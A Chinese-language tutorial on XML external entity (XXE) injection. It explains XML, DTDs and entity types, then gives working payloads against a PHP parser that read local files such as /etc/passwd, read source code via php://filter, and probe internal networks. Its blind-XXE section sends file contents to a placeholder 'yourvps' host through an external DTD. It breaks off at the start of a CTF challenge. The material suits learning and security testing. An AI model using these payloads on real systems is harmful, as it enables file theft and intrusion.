XXE: XXE全称是--XML外部实体,也就是XML外部实体注入攻击。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
DTD: DTD全称是文档类型定义,即是文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构.DTD可被成行地声明于XML文档中,也可作为一个外部引用。
XML: xml是Extensible Markup language的简写,是可扩展的标识语言。xml实际上就是一种定义语言,用户可以自己定义数据的类型,也可以创建结构化数据库,还可以对其中的数据进行筛选和排序。
xml的主要作用是建立数据和管理数据。xml也可以看成是一个小型的数据库,甚至在对数据的处理在某些方面比某些数据库里的数据处理更加灵活。简单点说,xml是一种标记性语言,是一个跨平台的,独立于硬件与软件的描述数据的工具,其作用是存储、传递和交换数据。
一个完整的XML文件可以分为声明区、定义区与数据区3个部分。
<?xml version="1.0" encoding="ISO-8859-7"?>
<!ENTITY target_document SYSTEM "http://evilwing.me/wing.txt">
<msg>&target_document;</msg>
<?xml version="1.0"?>
<!ENTITY target_document SYSTEM "http://evilwing.me/wing.txt">
<msg>&target_document;</msg>
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
]>
<data>&dos;</data>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:////home/ctf/flag.txt">]>
<root>&file;</root>
基础知识
XML(Extensible Markup Language)被设计用来传输和存储数据。关于它的语法,本文不准备写太多,只简单介绍一下。
XML基本知识
<?xml version="1.0" encoding="utf-8"?><note><to>chybeta</to><from>ph0en1x</from></note>
在上面代码中的第一行,定义XML的版本与编码。
在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,<note>
是整个文档的根元素。嵌套在note标签中的<to>
和<from>
则是根的子元素。
同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。
实体
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
实体类型
XML实体分为四种:字符实体,命名实体,外部实体,参数实体。
文档类型定义:DTD
wikipedia关于这的描述是:The XML DTD syntax is one of several XML schema languages。简单的说,DTD的作用是定义XML文档的合法构建模块。如前所述,实体也是构建模块之一。因此可以利用DTD来内部或外部引入实体。
其基本格式:
<!DOCTYPE 根元素名 [ 元素描述 ]>
内部引入
格式:
<!ENTITY 实体名称 "实体的值">
将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY chybeta "Hello World!"> ]> <xxe> &chybeta;</xxe>
访问该XML文档,&chybeta;
会被解析为Hello World!并输出。
外部引入
基本格式:
<!ENTITY 实体名称 SYSTEM "URI">
通过引用定义在外部的DTD中的实体,我们称之为外部实体。
由于xxe漏洞主要利用的是外部实体,所以这里暂不展开。具体实例见下。
利用方式
xxe注入
以php环境为例,index.php内容如下:
<?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml);?>
读取本地文件
利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取c盘里的TEST.txt。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]><root>&file;</root>
将上述xml进行url编码后传进去,可以发现读取了TEST.txt中的内容。
我这里测试时,如果不进行url编码则不能成功解析。
若使用fill协议,在unix环境下,可以用如下xml来读取passwd:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]><root>&file;</root>
如果要读取php文件,因为php、html等文件中有各种括号<
,>
,若直接用file读取会导致解析错误,此时可以利用php://filter
将内容转换为base64后再读取。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&file;</root>
命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。这里暂不进行测试。
内网探测/SSRF
由于xml实体注入攻击可以利用http://
协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
bind xxe
以php环境为例,现在更改index.php内容如下:
<?php $xml=simplexml_load_string($_GET['xml']);?>
少了print_r,即没有回显消息。这个时候我们可以利用参数实体,通过发起http请求来攻击。
读取本地文件
payload1
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "file:///c://TEST.txt"><!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">%dtd; %all;]><value>&send;</value>
在我的vps的xxe.xml的内容如下:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
而测试文件TEST.txt内容为:
chybeta
整个的调用过程如下:解析时%dtd
引入xxe.xml,之后%all
引入send
的定义,最后引用了实体send,把%file
文件内容通过一个http请求发了出去。注意需要把payload经过url编码。查看vps上的access.log:
若要读取php等文件,同样需要先经过base64加密下。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"><!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">%dtd; %all;]><value>&send;</value>
payload2
发送的xml:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"><!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">%dtd; %send;]>
而在vps上的xxe.xml内容为:
<!ENTITY % payload2 "<!ENTITY % send SYSTEM 'http://yourvps/%file;'>"> %payload2;
注意的是,
不能直接写成%
,否则无法解析。
xxe.xml中定义和引用了%payload2
,在通过%dtd
引入xxe.xml后,得以使用符号实体%send来进行发送。其中%file为读取的文件内容。查看access.log:
ctf
小试牛刀
拿jarvisoj平台上的题目来小试牛刀吧。
题目:api调用
题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值